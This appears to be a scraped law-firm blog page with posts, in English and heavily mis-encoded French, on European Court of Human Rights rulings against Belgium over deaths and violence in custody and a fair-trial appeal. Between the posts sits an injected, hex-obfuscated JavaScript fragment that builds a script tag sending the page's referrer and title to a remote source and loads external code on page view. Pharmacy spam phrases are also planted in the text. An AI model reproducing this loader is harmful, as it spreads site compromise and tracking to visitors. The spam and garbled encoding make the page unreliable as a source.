Creative

/Creative

Belgium found in violation of Article 2 of the European Convention on Human Rights

By | September 5th, 2017|Categories: Creative|

On 5 September 2017, the European Court of Human Rights condemned Belgium for having breached Article 2 of the Convention (right to life) in the case of Tekin and Arslan v Belgium. The State was ordered to pay 20a000 euro of compensation for moral damage to the applicants, Mr Tekinas parents.

Mr Tekin was a detainee suffering from psychiatric disorders, who died on 8 August 2009 in Jamioulx prison. Because of his opposition to some security measures, the officers immobilized him through arm-lock and strangle-hold techniques, impeding his breathing.

It is important to remind that the Court was only tasked with establishing the responsibility of the State, not the one of the police officers (Giuliani and Gaggio v Italy, A 182; Maslova v Russia, A 70), which had been acquitted of manslaughter in the national proceedings. In particular, the Strasbourg Court had to assess whether the evaluation made by the Charleroi Criminal Court was sufficient to establish the necessity and proportionality of the use of force by the police officers.

The Court eventually concluded that, in view of the circumstances, the use of force was not absolutely necessary in the case at stake. It condemned the techniques adopted by the police officers, underlining that they had not taken into consideration any alternative possible solution. The judges also observed that Mr Takin had been treated by both the prison staff and the Criminal Court as an ordinary detainee with full mental capacity, without having regard to his psychiatric disorders. Indeed, the inmate had been placed in an ordinary section of the prison, which was not appropriate to his state of mental health.

This case underlines the deficiencies of the Belgian penitentiary system concerning the treatment of mentally ill inmates and the prison staffas lack of professional training.

Violences policiA?res A Saint-Josse-ten-Noode : la Belgique condamnAe

By | November 28th, 2015|Categories: Creative|

La Cour europAenne a finalement donnA tort A la justice belge et condamnA l’Etat A verser 5.000a pour chacun des deux frA?res ainsi que 10.000a conjointement.

La Grande chambre de la Cour europAenne des Droits de l’Homme vient de condamner l’Etat belge A verser des dommages et intArA?ts A SaA?d et Mohammed Bouyid, deux frA?res habitant Saint-Josse-ten-Noode, dont l’un Atait mineur au moment des faits. La dAcision est dAfinitive et ne souffre pas d’appel. Cette condamnation est rarissime : c’est en effet la cinquiA?me fois dans l’histoire que la Belgique devait comparaAtre devant la Grande chambre, le plus haut degrA de juridiction d’Europe.

Les frA?res Bouyid avaient dAposA plainte en 2004 aprA?s des violences (une paire de gifles) infligAes dans un commissariat de police de Saint-Josse-ten-Noode. Une plainte avait AtA dAposAe et avait abouti par un non-lieu, confirmA par la Cour de cassation en 2008.

ot;,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])} sleeping pill uk .

L’affaire GeneviA?ve Lhermitte renvoyAe devant la Grande Chambre de la CEDH

By | September 15th, 2015|Categories: Creative|Tags: |

La Libre.be

PubliA le 15 septembre 2015 – BRUXELLES (Belgique)

La Grande Chambre de la Cour europAenne des droits de l’homme (CEDH) se penchera sur l’affaire GeneviA?re Lhermitte, A la suite d’une dAcision en ce sens lundi du collA?ge de cinq juges de cette instance.

MaAtres Xavier MagnAe et Zouhaier Chihaoui avaient introduit un recours devant la Grande Chambre de la Cour europAenne des droits de l’homme, aprA?s que leur cliente avait AtA dAboutAe le 26 mai par la Cour. Ses conseils estiment toujours que GeneviA?ve Lhermitte, condamnAe fin 2008 A la perpAtuitA pour l’assassinat de ses cinq enfants A Nivelles en fAvrier 2007, n’a pas bAnAficiA d’un procA?s Aquitable.

“Je suis intervenu avec Me MagnAe. Nous avons rAdigA ensemble la demande de renvoi devant la Grande Chambre”, prAcise mardi soir Zouhaier Chihaoui. La Grande Chambre dela CEDH peut A?tre saisie notamment lorsqu’une affaire soulA?ve une question grave relative A l’interprAtation de la Convention, ce qui est ici le cas, d’aprA?s les avocats. Ceux-ci maintiennent qu’il y a bien une violation de l’articule 6 A 1 de la Convention, c’est A dire le droit A un procA?s Aquitable, contrairement A ce qu’avait estimA la CEDH le 26 mai dernier. Les avocats considA?rent en effet encore aujourd’hui que GeneviA?ve Lhermitte n’a pas eu droit A un procA?s Aquitable, par rapport A “la motivation de l’arrA?t de la cour d’assises”.

prednisone without a script.

“On considA?re Mme Lhermitte comme responsable de ses actes, mais on ne dit pas pourquoi de maniA?re adAquate”, souligne Me Chihaoui. De plus, “des experts l’ont dAclarAe irresponsable de ses actes”. “Cette affaire n’est pas du tout terminAe.”

L’audience devant la Grande Chambre, publique, devrait avoir lieu dans les prochains mois A Strasbourg. Au total, 19 juges europAens devront statuer sur cette affaire. Si la Grande Chambre donnait raison aux avocats, ceux-ci ne voient pas “d’autre solution qu’un deuxiA?me procA?s”. Le renvoi d’une affaire devant la Grande Chambre reste une procAdure exceptionnelle, conclut l’avocat. “C’est arrivA trois ou quatre fois dans l’histoire du droit belge.” (Belga)